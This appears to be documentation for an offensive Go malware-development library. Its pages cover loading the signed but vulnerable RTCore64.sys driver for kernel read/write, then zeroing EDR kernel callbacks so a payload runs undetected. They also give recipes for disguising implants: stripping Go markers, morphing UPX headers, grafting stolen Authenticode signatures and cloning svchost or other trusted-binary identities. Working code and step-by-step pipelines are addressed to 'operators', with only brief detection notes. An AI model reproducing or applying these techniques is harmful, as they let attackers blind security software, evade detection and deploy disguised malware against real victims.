BYOVD (Bring Your Own Vulnerable Driver) sidesteps the "unsigned drivers don't load on HVCI" wall by abusing a Microsoft- attested signed driver that itself exposes an unauthenticated arbitrary-r/w IOCTL. RTCore64.sys (MSI Afterburner < 4.6.2.15658) is the canonical target: signed, widely deployed, and its CVE-2019-16098 IOCTLs 0x80002048 (read) and 0x8000204C (write) take a virtual address + length + buffer with no auth.

The 2021-09-02 Microsoft vulnerable-driver block-list update flagged RTCore64 — patched HVCI Win10/11 builds refuse to load it. On unpatched / non-HVCI hosts it still loads and grants kernel read/write to any caller with SeLoadDriverPrivilege.

Package surface

kernel/driver/rtcore64 exposes a Driver type that implements both kernel/driver.ReadWriter and kernel/driver.Lifecycle:

var d rtcore64.Driver
if err := d.Install(); err != nil {       // SCM register + start + open device
    return err
}
defer d.Uninstall()                       // stop + delete + remove dropped binary

buf := make([]byte, 8)
if _, err := d.ReadKernel(0xFFFFF80012345678, buf); err != nil {
    return err                            // IoctlRead at the given VA
}

The Driver shape-satisfies evasion/kcallback.KernelReadWriter, so it plugs straight into kcallback.Enumerate / kcallback.Remove without wrappers.

Lifecycle steps

  1. loadDriverBytes() returns the embedded RTCore64.sys bytes (see Driver binary below).
  2. dropDriver writes the bytes to %WINDIR%\Temp\RTCore64.sys.
  3. installAndStartService registers the driver under SCM as a SERVICE_KERNEL_DRIVER named RTCore64, then calls StartService. ERROR_ACCESS_DENIED is mapped to driver.ErrPrivilegeRequired.
  4. openDevice opens \\.\RTCore64 with GENERIC_READ | GENERIC_WRITE.
  5. ReadKernel / WriteKernel issue DeviceIoControl against that handle. Transfers cap at MaxPrimitiveBytes = 4096 per IOCTL — larger reads/writes loop in the caller, since RTCore64's pool transfers are unstable above one page.
  6. Uninstall closes the handle, stops + deletes the service, and removes the dropped file. Best-effort: every step runs even if earlier ones failed.

Driver binary

The package ships without the signed RTCore64.sys binary by default — building with the default tag set yields ErrDriverBytesMissing from Install(). To enable real BYOVD operations:

  1. Obtain RTCore64.sys (any version ≤ 4.6.2.15658). Verify the signature chain via signtool verify /v /a — the leaf cert must chain to Microsoft Windows Hardware Compatibility Publisher.

  2. Drop a sibling file kernel/driver/rtcore64/embed_byovd_rtcore64_windows.go that overrides loadDriverBytes():

    //go:build windows && byovd_rtcore64
    
    package rtcore64
    
    import _ "embed"
    
    //go:embed RTCore64.sys
    var rtcoreBytes []byte
    
    func loadDriverBytes() ([]byte, error) { return rtcoreBytes, nil }
    
  3. Build with go build -tags=byovd_rtcore64. The resulting binary embeds the signed driver; default builds don't.

This split keeps the open-source repo free of MSI's licensed binary while still shipping every other piece of the BYOVD chain — the service-install plumbing, IOCTL wrappers, and lifecycle management all live in source-tree code.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/kernel/driver is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Advanced — looping reads beyond the per-IOCTL cap

A single IOCTL caps at MaxPrimitiveBytes (4096 bytes). Larger reads loop in the caller — the driver's pool-buffer transfer is unstable above one page:

package main

import (
	"fmt"

	"github.com/oioio-space/maldev/kernel/driver"
	"github.com/oioio-space/maldev/kernel/driver/rtcore64"
)

// readKernel issues IOCTLs in <=MaxPrimitiveBytes chunks and concatenates
// the results. Bails on the first error so the caller can decide whether
// to retry from the partial offset.
func readKernel(rw driver.Reader, addr uintptr, size int) ([]byte, error) {
	out := make([]byte, 0, size)
	for off := 0; off < size; {
		chunk := size - off
		if chunk > rtcore64.MaxPrimitiveBytes {
			chunk = rtcore64.MaxPrimitiveBytes
		}
		buf := make([]byte, chunk)
		n, err := rw.ReadKernel(addr+uintptr(off), buf)
		if err != nil {
			return out, fmt.Errorf("read @0x%X (off=%d): %w", addr+uintptr(off), off, err)
		}
		out = append(out, buf[:n]...)
		off += n
	}
	return out, nil
}

func main() {
	var d rtcore64.Driver
	if err := d.Install(); err != nil { panic(err) }
	defer d.Uninstall()

	// Read 32 KiB starting at some kernel VA — 8 IOCTLs under the hood.
	bytes, err := readKernel(&d, 0xFFFFF80012345000, 32*1024)
	fmt.Printf("read=%d err=%v\n", len(bytes), err)
}

Composed — RTCore64 + kcallback enumeration + selective Remove

The whole point of kernel/driver/rtcore64 is to back a driver.ReadWriter that downstream packages consume. evasion/kcallback is the canonical consumer — given the driver, enumerate every PspCreate/Thread/LoadImage notify routine and selectively neutralize an EDR's callbacks:

package main

import (
	"fmt"
	"log"

	"github.com/oioio-space/maldev/evasion/kcallback"
	"github.com/oioio-space/maldev/kernel/driver/rtcore64"
)

func main() {
	// 1. Bring up the driver.
	var d rtcore64.Driver
	if err := d.Install(); err != nil { log.Fatal(err) }
	defer d.Uninstall()

	// 2. Operator-supplied OffsetTable for the current ntoskrnl build
	//    (derived offline from a PDB dump — see kernel-callback-removal.md).
	tab := kcallback.OffsetTable{
		Build:                   19045,
		CreateProcessRoutineRVA: 0xC1AAA0,
		CreateThreadRoutineRVA:  0xC1AC20,
		LoadImageRoutineRVA:     0xC1AB40,
		ArrayLen:                64,
	}

	// 3. Enumerate.
	cbs, err := kcallback.Enumerate(&d, tab)
	if err != nil { log.Fatal(err) }

	// 4. Selectively NULL-out every EDR-driver-owned slot. Restore on exit
	//    so the host doesn't notice tampering after a benign payload.
	var tokens []kcallback.RemoveToken
	for _, cb := range cbs {
		fmt.Printf("[%s][%d] %s @ 0x%X enabled=%v\n",
			cb.Kind, cb.Index, cb.Module, cb.Address, cb.Enabled)
		if cb.Module == "WdFilter.sys" || cb.Module == "MsSecCore.sys" {
			tok, err := kcallback.Remove(cb, &d)
			if err != nil { log.Printf("remove %s[%d]: %v", cb.Kind, cb.Index, err); continue }
			tokens = append(tokens, tok)
		}
	}
	defer func() {
		for _, tok := range tokens {
			_ = kcallback.Restore(tok, &d)
		}
	}()

	// ... payload runs here without EDR callbacks firing ...
}

The same &d plugs into credentials/lsassdump.Unprotect for a PPL LSASS dump — see LSASS Credential Dump for that composition.

Detection

PhaseSignal
DropNew file write to %WINDIR%\Temp\RTCore64.sys
SCM installCreateService with SERVICE_KERNEL_DRIVER + name RTCore64
Driver loadNtLoadDriver event, Microsoft-Windows-Kernel-General ETW
IOCTLDeviceIoControl against \\.\RTCore64 with codes 0x80002048 / 0x8000204C (every public PoC uses these exact codes)

Detection drops to Medium once steady-state because the driver is signed, but the device name is in every EDR's known-IOC list. Renaming the dropped file does not help — the IOCTL device path is hard-coded inside RTCore64.sys.

References

See also

PE manipulation

← maldev README · docs/index

Pure-Go Portable Executable analysis, sanitisation, identity cloning, signature grafting, and conversion-to-shellcode. The package tree is intentionally bottom-up: pe/parse and pe/imports are read-only walkers, pe/strip, pe/morph, pe/cert, pe/masquerade are byte-mutators on a []byte, and pe/srdi is the producer of position-independent shellcode that downstream inject/ chains consume. Runtime-side BOF and CLR loaders moved to runtime/bof and runtime/clr respectively.

flowchart LR
    subgraph offline [Offline / build-host]
        SRC[Source PE<br>signed donor]
        PARSE[parse + imports<br>read-only walkers]
        STRIP[strip<br>Go-toolchain scrub]
        MORPH[morph<br>UPX header rename]
        CERT[cert<br>Authenticode graft]
        MASQ[masquerade<br>manifest + icon<br>+ VERSIONINFO clone]
        SRDI[srdi<br>Donut PE → shellcode]
    end
    subgraph runtime [Runtime / target host]
        INJECT[inject/*<br>execute shellcode]
        BOF[runtime/bof<br>COFF loader]
        CLR[runtime/clr<br>.NET hosting]
    end
    SRC --> PARSE
    SRC --> STRIP
    SRC --> MORPH
    SRC --> CERT
    SRC --> MASQ
    SRC --> SRDI
    SRDI --> INJECT
    PARSE -. drives unhook scoping .-> RUNT[runtime evasion]

Where to start (novice path):

  1. masquerade — make your implant LOOK like a known Microsoft binary. Easiest visible win.
  2. certificate-theft — graft a real Authenticode signature from the same donor. Pair with #1.
  3. strip-sanitize — scrub the "Made in Go" markers (pclntab + section names) so static analysers don't flag the language.
  4. pe-to-shellcode — convert your EXE to position-independent shellcode for any inject/* flow.
  5. dll-proxy, morph — specialised; pick when DLL hijack / UPX cover is the engagement context.
  6. imports, pe/parse — read-only walkers; pair with the recon/ discovery side.

See also catalog-signing — research note explaining why some Microsoft binaries can't be cloned via cert.Copy (catalog signing instead of embedded WIN_CERTIFICATE).

Packages

PackageTech pageDetectionOne-liner
pe/parse(covered here + doc.go)very-quietRead-only saferwall wrapper: section / export / raw-byte access + Authentihash + ImpHash + Anomalies + RichHeader + Overlay
pe/importsimports.mdvery-quietCross-platform import-table enumeration
pe/stripstrip-sanitize.mdquietGo pclntab wipe + section rename + timestamp scrub
pe/morphmorph.mdmoderateUPX header signature mutation
pe/certcertificate-theft.mdquietAuthenticode security-directory read / copy / strip / write
pe/masquerademasquerade.mdquietmanifest + icon + VERSIONINFO clone via .syso (preset or programmatic)
pe/srdipe-to-shellcode.mdmoderatePE / .NET / script → Donut shellcode
pe/dllproxydll-proxy.mdvery-quietPure-Go forwarder DLL emitter for DLL-hijack payloads
pe/packerpacker.mdvery-quiet (Phase 1a)Custom packer — encrypt + embed pipeline (Phase 1a; reflective loader stub lands in Phase 1b)

Quick decision tree

You want to…Use
…read every DLL!Function pair from a PEimports.List
…wipe the "Made in Go" markersstrip.Sanitize
…hide a UPX-packed binary from auto-unpackersmorph.UPXMorph
…graft a Microsoft signature onto an unsigned binarycert.Copy
…make Process Explorer render the implant as svchostpreset blank-import
…clone any PE's identity programmaticallymasquerade.Clone / Build
…convert a PE / .NET / script to position-independent shellcodesrdi.ConvertFile
…feed shellcode to remote-process injectionpe/srdiinject
…enumerate sections / exports for toolingpe/parse
…emit a forwarder DLL for hijack payloads (no MSVC)dllproxy.Generate

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1027.002Obfuscated Files or Information: Software Packingpe/strip, pe/morph, pe/parseD3-SEA, D3-FCA
T1027.005Indicator Removal from Toolspe/stripD3-SEA
T1036.005Masquerading: Match Legitimate Name or Locationpe/masqueradeD3-EAL, D3-SEA
T1055.001Process Injection: Dynamic-link Library Injectionpe/srdi (consumer)D3-PA
T1106Native APIpe/importsD3-SEA
T1574.001DLL Search Order Hijackingpe/dllproxyD3-PFV
T1574.002DLL Side-Loadingpe/dllproxyD3-PFV
T1553.002Subvert Trust Controls: Code Signingpe/certD3-EAL
T1620Reflective Code Loadingpe/srdiD3-FCA, D3-PA

Layered scrub recipe

The full identity scrub for a Go-built implant is a six-step build-host pipeline. None of the steps is enough alone; together they survive triage long enough to matter.

  1. Build with garble — symbol obfuscation at compile time.
  2. pe/masquerade.Clone — clone svchost / cmd / explorer identity at link time via .syso.
  3. pe/strip.Sanitize — wipe pclntab + rename Go sections + scrub timestamp.
  4. UPX pack + pe/morph.UPXMorph — defeat signature-based unpackers.
  5. pe/cert.Copy — graft a Microsoft Authenticode blob.
  6. cleanup/timestomp.CopyFromFull — align MFT timestamps to the donor.

For payload delivery (separate from build):

  1. pe/srdi.ConvertFile — convert the implant or downstream payload to Donut shellcode.
  2. inject/* — deliver the shellcode via any of the documented techniques.

See also

PE Sanitization (Go-toolchain scrub)

← pe index · docs/index

TL;DR

Wipe the "Made in Go" markers from a Windows PE: pclntab magic bytes (defeats redress / GoReSym / IDA go_parser), Go-specific section names (.gopclntab, .go.buildinfo, …), and the TimeDateStamp. Sanitize chains the three primitives with sensible defaults; individual primitives stay exported so callers can compose custom pipelines.

Primer

Go binaries are uniquely identifiable. They ship with a build timestamp, a pclntab structure that tools like IDA's go_parser, redress, and GoReSym use to reconstruct function names, and section names like .gopclntab that immediately identify the binary as Go to even the laziest YARA rule.

pe/strip removes or rewrites these indicators so static analysis tooling cannot trivially identify the binary as Go nor reconstruct its internal structure. Pair with garble (Go-symbol obfuscation at compile time) for a layered scrub: garble handles the symbols, strip handles the PE-level fingerprint that remains after garble emits the binary.

How It Works

flowchart LR
    INPUT[Go-built PE binary] --> TS[SetTimestamp<br>random epoch / project date]
    TS --> PCL[WipePclntab<br>zero 32 bytes at each<br>pclntab magic match]
    PCL --> RN[RenameSections<br>.gopclntab → .rdata2<br>.go.buildinfo → .rsrc2<br>.noptrdata → .data2]
    RN --> OUT[Sanitised PE]
PrimitiveWhat it touches
SetTimestampIMAGE_FILE_HEADER.TimeDateStamp (4 bytes at PE+8)
WipePclntab32 bytes at every 0xFFFFFFF1 (Go 1.20+) / 0xFFFFFFF0 (Go 1.16+) magic match in the binary
RenameSections8-byte Name field of every matching section header

Sanitize applies all three with defaults: random recent timestamp, full pclntab wipe, the canonical .go*.{rdata,rsrc,data}2 rename map.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/pe/strip is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — quick sanitise

import (
    "os"

    "github.com/oioio-space/maldev/pe/strip"
)

raw, _ := os.ReadFile("implant.exe")
clean := strip.Sanitize(raw)
_ = os.WriteFile("implant_clean.exe", clean, 0o644)

Composed — fixed timestamp + custom renames

import (
    "time"

    "github.com/oioio-space/maldev/pe/strip"
)

raw, _ := os.ReadFile("implant.exe")
raw = strip.SetTimestamp(raw, time.Date(2024, 6, 15, 10, 30, 0, 0, time.UTC))
raw = strip.WipePclntab(raw)
raw = strip.RenameSections(raw, map[string]string{
    ".gopclntab":    ".rdata",
    ".go.buildinfo": ".rsrc",
    ".text":         ".code",
})

Advanced — garble + strip pipeline

import (
    "os"
    "os/exec"

    "github.com/oioio-space/maldev/pe/strip"
)

func buildAndSanitize() {
    _ = exec.Command("garble", "-literals", "-tiny", "build",
        "-ldflags", "-s -w -H windowsgui",
        "-o", "implant-garbled.exe",
        "./cmd/implant",
    ).Run()

    raw, _ := os.ReadFile("implant-garbled.exe")
    raw = strip.Sanitize(raw)
    _ = os.WriteFile("implant-final.exe", raw, 0o644)
}

See ExampleSanitize.

OPSEC & Detection

ArtefactWhere defenders look
YARA rule matching .gopclntab / .go.buildinfo section namesStatic scanners; trivially defeated by RenameSections
YARA rule matching pclntab magic (FF FF FF F1)Static scanners; defeated by WipePclntab
Build-timestamp pinning to a known Go-toolchain release windowForensic timeline; defeated by SetTimestamp
Rich header (Microsoft linker fingerprint)Not produced by Go's linker — so its absence is itself a tell on Windows-only deployments
File entropy / Go-binary size signatureOutside this package's scope; pair with UPX / pe/morph

D3FEND counters:

  • D3-SEA — IAT, sections, magic bytes.
  • D3-FCA — fuzzy-hash + entropy similarity scans still flag.

Hardening for the operator:

  • Run Sanitize after garble so Go-symbol obfuscation lands before the PE-level scrub.
  • Couple with pe/morph if the implant is UPX-packed — neither alone defeats both static + entropy detection.
  • Don't rely on this for behavioural EDR — the binary still acts like Go runtime (large initial allocations, GC pauses, ntdll-heavy IAT).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1027.002Obfuscated Files or Information: Software Packingpartial — header + section-name scrub, no payload encryptionD3-SEA
T1027.005Indicator Removal from Toolsfull — pclntab wipe defeats Go-binary-disassembly toolsD3-SEA

Limitations

  • Not encryption. The binary structure is still a valid PE; behavioural analysis is unaffected.
  • Partial pclntab. WipePclntab zeros 32 bytes per magic match — the rest of the pclntab structure remains, and determined analysts can reconstruct portions.
  • Cosmetic section renames. Renaming .gopclntab to .rdata2 does not change its contents; entropy still identifies the data inside.
  • Complementary, not standalone. Pair with garble (symbols), pe/morph (UPX), pe/cert (signature) for layered scrub.
  • Malformed PEs may panic. Functions assume well-formed PE input; run on toolchain-emitted binaries only.

See also

PE Morphing (UPX section rename)

← pe index · docs/index

TL;DR

Replace UPX section names (UPX0, UPX1, UPX2) with random bytes so off-the-shelf static unpackers (CFF Explorer, x64dbg's UPX plugin, IDA's UPX preprocessor) fail to recognise the input. The runtime UPX stub keeps working because it references offsets, not the magic. UPXFix reverses the morph for debugging.

Primer

UPX is the most popular executable packer — it compresses binaries to reduce size. Every UPX-packed binary carries well-known section names that every antivirus and EDR fingerprint on contact. pe/morph rewrites those names with random non-zero bytes, breaking the signature-based unpack pipeline while leaving the runtime behaviour intact.

The morph is a 24-byte change (three 8-byte section name fields). That is enough to break SHA-256 blocklists entirely, but similarity-hash scans (ssdeep, TLSH) still pin the variant to its parent in the ~95th percentile range — the morph is genuinely shallow, defeating only signature-based static unpacker matching.

How It Works

flowchart LR
    INPUT["UPX-packed binary<br>UPX0 / UPX1 / UPX2"] --> SCAN[Scan section table<br>for 'UPX' substring]
    SCAN --> RAND[Generate 8 random<br>printable bytes per section]
    RAND --> PATCH[Overwrite Name field<br>40-byte section header offset]
    PATCH --> OUT[Morphed binary<br>random section names]

The section name field lives at offset 0 of every 40-byte section header in the section table. The section table itself starts at COFF_offset + 20 + SizeOfOptionalHeader; each header is 40 bytes; the Name field is the first 8 bytes. UPXMorph walks the table, matches names containing "UPX", and overwrites the 8 bytes in place. UPXFix walks the same table, matches the random bytes against the expected layout (3 sections, sequential), and restores the canonical names.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/pe/morph is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — morph an existing UPX binary

import (
    "os"

    "github.com/oioio-space/maldev/pe/morph"
)

raw, _ := os.ReadFile("payload.upx.exe")
morphed, _ := morph.UPXMorph(raw)
_ = os.WriteFile("payload.morph.exe", morphed, 0o644)

Composed — restore for debugging

restored, _ := morph.UPXFix(morphed)
// upx -d on restored now succeeds

Advanced — fuzzy-hash before/after

Demonstrate the morph defeats SHA-256 but not similarity hashes:

import (
    "fmt"
    "os"

    "github.com/oioio-space/maldev/hash"
    "github.com/oioio-space/maldev/pe/morph"
)

raw, _ := os.ReadFile("payload.upx.exe")
sha256Before := hash.SHA256(raw)
ssBefore, _ := hash.Ssdeep(raw)
tlBefore, _ := hash.TLSH(raw)

morphed, _ := morph.UPXMorph(raw)

ssAfter, _ := hash.Ssdeep(morphed)
tlAfter, _ := hash.TLSH(morphed)
ssScore, _ := hash.SsdeepCompare(ssBefore, ssAfter)
tlDist, _ := hash.TLSHCompare(tlBefore, tlAfter)

fmt.Printf("SHA-256 same?    %v\n", sha256Before == hash.SHA256(morphed)) // false
fmt.Printf("ssdeep score:    %d / 100\n", ssScore)                        // ~97
fmt.Printf("TLSH distance:   %d\n", tlDist)                               // ~12

Pipeline — build → pack → strip → morph

exec.Command("garble", "-literals", "-tiny", "build", "-o", "step1.exe", "./cmd/implant").Run()
exec.Command("upx", "--best", "-o", "step2.exe", "step1.exe").Run()

raw, _ := os.ReadFile("step2.exe")
raw = strip.Sanitize(raw)
raw, _ = morph.UPXMorph(raw)
_ = os.WriteFile("final.exe", raw, 0o644)

See ExampleUPXMorph.

OPSEC & Detection

ArtefactWhere defenders look
UPX0 / UPX1 / UPX2 literal section namesYARA / EDR static rules — defeated by morph
Sequential 24KB+ executable sections + decompression stubHeuristic UPX detection — not defeated
File entropy ~7.99 bits/byte (compressed payload)Anti-malware entropy scans — unchanged
Runtime: VirtualAlloc(RWX) + decompression in-placeBehavioural EDR — outside scope; UPX morph only touches the on-disk file
ssdeep / TLSH similarity to a known UPX-packed family memberFuzzy-hash blocklists — only ~24 bytes change, similarity stays high

D3FEND counters:

  • D3-SEA — section-table inspection.
  • D3-FCA — entropy + fuzzy-hash similarity.

Hardening for the operator:

  • Pair with pe/strip (pclntab + section rename) for both Go and UPX scrub in a single pass.
  • The UPX runtime stub itself is detectable — for higher-effort scenarios swap the stub via a custom packer.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1027.002Obfuscated Files or Information: Software Packingpartial — UPX header morph defeats signature-based unpackers; entropy + stub remainD3-SEA, D3-FCA

Limitations

  • UPX-specific. Only targets UPX section names; other packers (Themida, VMProtect, ASPack) are out of scope.
  • Superficial. The UPX decompression stub is still present and recognisable by deep analysis — heuristic detectors win.
  • Entropy unchanged. High-entropy compressed sections remain detectable by entropy scans.
  • Fuzzy hash leak. ssdeep / TLSH similarity stays in the ~95th-percentile range; not safe against family-similarity blocklists.
  • Requires valid PE. Malformed input returns an error; no best-effort partial morph.

See also

PE Resource Masquerade

← pe index · docs/index

TL;DR

You want your implant to LOOK like a known Microsoft / Adobe / Mozilla binary in Task Manager, Process Explorer, and the Properties → Details dialog. This package lets you embed a donor's icon, manifest, and version info into your build.

Pick the right mode based on how much customisation you need:

You want…UseEffortWhen
Implant to look like one of 13 pre-baked donors (svchost, cmd, msedge, claude, …)Preset — blank-import the right sub-packageOne import _ lineYou're fine with stock identities; build is on a host without the donors installed
Implant to look like ANY donor PE you have on diskClone~5 lines + extracted .sysoYou need a specific donor (in-house signed binary, region-specific app)
Pick fields field-by-field (CompanyName from one source, icon from another)Extract + Build + With* options~15 linesYou're hand-tuning to evade a specific allowlist rule
Override a field on top of a preset (e.g., svchost identity but custom Description)Preset blank-import + Build + With*One import + ~5 linesHybrid case

Limit one preset per binary: Windows PEs carry exactly one RT_MANIFEST resource. Two blank-imports → duplicate-symbol linker error. The same constraint applies to Build (which emits a .syso that the linker treats identically).

What this DOES achieve:

  • Process Explorer / Task Manager show the cloned identity.
  • Properties → Details renders donor's CompanyName / Description / ProductName / OriginalFilename.
  • Naive allowlists keyed on those fields pass.

What this does NOT achieve (need extra layers):

  • Authenticode signature is unchanged → signtool verify fails. Pair with pe/cert.
  • .rdata strings (runtime., main.) + Go-shaped imports still betray a Go binary. Pair with pe/strip.
  • File timestamps still scream "just built". Pair with cleanup/timestomp.

Primer — vocabulary

Four terms recur on this page:

.syso — Microsoft-style COFF object file the Go linker automatically merges into a binary's .rsrc section. go build looks for *_windows_amd64.syso (or _arm64.syso, etc.) in the imported package directories — no extra build step needed. The preset packages and GenerateSyso both produce these.

VERSIONINFO — the structured binary blob in a PE's resource section that drives the Properties → Details dialog: file version, product version, CompanyName, FileDescription, OriginalFilename, ProductName. Standard Windows tools and allowlists read these fields; Process Explorer surfaces them in its UI.

Manifest — embedded XML declaring the binary's UAC requirements (asInvoker vs requireAdministrator), DPI awareness, and supported OS versions. AppLocker publisher rules trust this. The preset packages ship two variants per identity to cover the two UAC modes.

Icon set.ico-style group of icons at multiple sizes (16×16, 32×32, 48×48, 256×256). What File Explorer renders in the file browser and what shows up in alt-tab.

How It Works

flowchart LR
    SRC[Source PE<br>e.g. svchost.exe] --> EXT[Extract<br>manifest + icons + VERSIONINFO]
    EXT --> RES[Resources struct]
    RES --> MUT[optional: mutate fields<br>OriginalFilename / FileVersion / icon]
    MUT --> SYSO[GenerateSyso<br>winres COFF emitter]
    SYSO --> FILE[resource_windows_amd64.syso]
    FILE --> LINK[go build<br>auto-links .syso]
    LINK --> OUT[implant .exe<br>with cloned identity]

At build time, go build finds every *_windows_amd64.syso in an imported package directory and merges its COFF .rsrc section into the final binary. No external tool is invoked during build.

Available presets

13 identities × 2 UAC variants = 26 packages. Pick one and blank-import:

IdentitySource EXEBase (asInvoker)Admin (requireAdministrator)
cmdSystem32\cmd.exe…/preset/cmd…/preset/cmd/admin
svchostSystem32\svchost.exe…/preset/svchost…/preset/svchost/admin
taskmgrSystem32\taskmgr.exe…/preset/taskmgr…/preset/taskmgr/admin
explorerWindows\explorer.exe…/preset/explorer…/preset/explorer/admin
notepadSystem32\notepad.exe…/preset/notepad…/preset/notepad/admin
msedgeProgram Files (x86)\Microsoft\Edge\Application\msedge.exe…/preset/msedge…/preset/msedge/admin
onedriveLOCALAPPDATA\Microsoft\OneDrive\OneDrive.exe…/preset/onedrive…/preset/onedrive/admin
acrobatProgram Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe…/preset/acrobat…/preset/acrobat/admin
firefoxProgram Files\Mozilla Firefox\firefox.exe…/preset/firefox…/preset/firefox/admin
excelProgram Files\Microsoft Office\root\Office16\EXCEL.EXE…/preset/excel…/preset/excel/admin
sevenzipProgram Files\7-Zip\7zFM.exe…/preset/sevenzip…/preset/sevenzip/admin
vscodeLOCALAPPDATA\Programs\Microsoft VS Code\Code.exe…/preset/vscode…/preset/vscode/admin
claudeLOCALAPPDATA\AnthropicClaude\claude.exe…/preset/claude…/preset/claude/admin

Rules:

  1. At most one blank-import per final binary. Windows PEs carry exactly one RT_MANIFEST (ID = 1); two imports yield a duplicate-symbol linker error.
  2. Pick the UAC variant that matches operational need:
    • base (asInvoker): no UAC prompt, runs with the invoking shell's token — most stealthy.
    • admin (requireAdministrator): forces the UAC consent UI. Only when the cloned identity naturally requires elevation (taskmgr, explorer/admin) — a cmd asking for admin is suspicious.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/pe/masquerade is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Quick start — make your implant look like svchost.exe

The shortest path: blank-import a preset package. The Go linker finds the .syso it ships, merges svchost's manifest + icons + VERSIONINFO into your binary at link time. No code change beyond the import line; no donor PE needs to exist on the build host.

package main

import (
    // The blank import (`_ "..."`) compiles the package for its
    // side effect — in this case, exposing the bundled .syso to
    // the linker. There is no symbol to call.
    _ "github.com/oioio-space/maldev/pe/masquerade/preset/svchost"
)

func main() {
    // Your normal implant logic. Identity is set at link time.
}

After go build -o mybin.exe, inspect what changed:

PS> (Get-Item .\mybin.exe).VersionInfo | Format-List

CompanyName      : Microsoft Corporation
FileDescription  : Host Process for Windows Services
OriginalFilename : svchost.exe
ProductName      : Microsoft® Windows® Operating System
FileVersion      : 10.0.22621.3007

What just happened:

  1. Go's linker scanned the imported preset/svchost package's directory and found resource_windows_amd64.syso.
  2. It merged that COFF object's .rsrc section into mybin.exe.
  3. Windows now reads svchost's resources from your binary's PE.

What still betrays you:

  • Authenticode signature is missing. signtool verify fails. Add pe/cert.Copy for the cosmetic signature graft.
  • Strings in .rdata (runtime., main., your import paths) scream "Go binary". Add pe/strip to scrub them.
  • File mtime is "now". Add cleanup/timestomp to align MFT timestamps with svchost's actual install date.

For the UAC-elevated variant, swap to preset/svchost/admin. For an entirely different identity, see the Available presets table.

Simple — preset blank-import (one-liner)

For when you don't need the explanation:

import _ "github.com/oioio-space/maldev/pe/masquerade/preset/svchost"

Composed — Clone in a generate step

//go:build ignore
// generator.go — invoked via `go generate`

package main

import "github.com/oioio-space/maldev/pe/masquerade"

func main() {
    _ = masquerade.Clone(
        `C:\Windows\System32\svchost.exe`,
        "resource_windows_amd64.syso",
        masquerade.AMD64,
        masquerade.AsInvoker,
    )
}

Advanced — icon swap with custom VERSIONINFO

Use svchost icons but override every VERSIONINFO field — useful when an AV cross-checks OriginalFilename against the on-disk filename.

masquerade.Build("resource_windows_amd64.syso", masquerade.AMD64,
    masquerade.WithSourcePE(`C:\Windows\System32\svchost.exe`),
    masquerade.WithExecLevel(masquerade.AsInvoker),
    masquerade.WithVersionInfo(&masquerade.VersionInfo{
        FileDescription:  "Host Process for Windows Services",
        CompanyName:      "Microsoft Corporation",
        ProductName:      "Microsoft® Windows® Operating System",
        OriginalFilename: "svchost.exe",
        FileVersion:      "10.0.22621.3007",
        ProductVersion:   "10.0.22621.3007",
    }),
)

Pipeline — Clone + cert + strip + timestomp

End-to-end identity scrub: clone svchost identity, graft its Authenticode cert, scrub Go markers, align MFT timestamps.

//go:build ignore

package main

import (
    "log"
    "os"

    "github.com/oioio-space/maldev/cleanup/timestomp"
    "github.com/oioio-space/maldev/pe/cert"
    "github.com/oioio-space/maldev/pe/masquerade"
    "github.com/oioio-space/maldev/pe/strip"
)

func main() {
    const exe = `.\loader.exe`
    const ref = `C:\Windows\System32\svchost.exe`

    // 1. Generate the .syso (run before `go build`).
    if err := masquerade.Clone(ref,
        "resource_windows_amd64.syso",
        masquerade.AMD64,
        masquerade.AsInvoker,
    ); err != nil {
        log.Fatal(err)
    }

    // (assume `go build` produced `loader.exe` here)

    // 2. Strip Go markers.
    raw, _ := os.ReadFile(exe)
    raw = strip.Sanitize(raw)
    _ = os.WriteFile(exe, raw, 0o644)

    // 3. Graft the donor's Authenticode cert.
    _ = cert.Copy(ref, exe)

    // 4. Match MFT timestamps to the donor.
    _ = timestomp.CopyFromFull(ref, exe)
}

See ExampleClone

Regenerating presets

# On a Windows host (read-only access to System32 is enough):
go run ./pe/masquerade/internal/gen

The generator is pure Go (uses tc-hib/winres as a library) and does not modify the host filesystem outside this repository.

Regenerate when:

  • A Windows update refreshes icons/metadata of a reference exe.
  • Adding a new identity (extend the identities slice in pe/masquerade/internal/gen/main.go).
  • Adding a new variant (e.g. highestAvailable).

OPSEC & Detection

ArtefactWhere defenders look
Verified: Unsigned from sigcheck /aMicrosoft binaries are always signed; unsigned file claiming Microsoft origin is a high-fidelity signal — pair with pe/cert
Mismatched OriginalFilename vs on-disk filenameMature AV (Defender, MDE) cross-checks; rename the on-disk file to match
Defender ML heuristics on Go-binary + Microsoft VERSIONINFOAtypical combination flagged by some ML pipelines; pair with pe/strip
.rdata strings betraying Go origin (runtime., main., GOROOT paths)YARA rules; partially mitigated by garble + pe/strip
Process Explorer's "Verified Signer" columnShows (Not verified) when signature is missing
AppLocker / WDAC publisher rulesStrict enforcement validates the cert chain — masquerade alone cannot pass

D3FEND counters:

  • D3-EAL — strict allowlisting cross-checks publisher.
  • D3-SEA — VERSIONINFO + manifest inspection.
  • D3-PA — runtime behaviour rarely matches the cloned identity (svchost doesn't normally make outbound HTTPS to attacker C2).

Hardening for the operator:

  • Pair with pe/cert so signature checks no longer fail open.
  • Pair with pe/strip so Go fingerprints don't betray the spoof.
  • Match runtime behaviour to the cloned identity: a "svchost" beaconing every 60 s is more suspicious than a real svchost.
  • Match the on-disk filename to OriginalFilename and place the binary in a path consistent with the cloned identity (%SystemRoot%\System32\ for Microsoft binaries).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1036.005Masquerading: Match Legitimate Name or Locationfull — manifest + icon + VERSIONINFO cloneD3-EAL, D3-SEA, D3-PA

Limitations

  • Metadata only. .rdata strings, imports, .text are not modified — this is shallow masquerading.
  • Signature absent by default. Pair with pe/cert or any defender that checks Authenticode catches the spoof.
  • Static identity at build time. Each binary carries one identity; runtime swaps would require image rewriting.
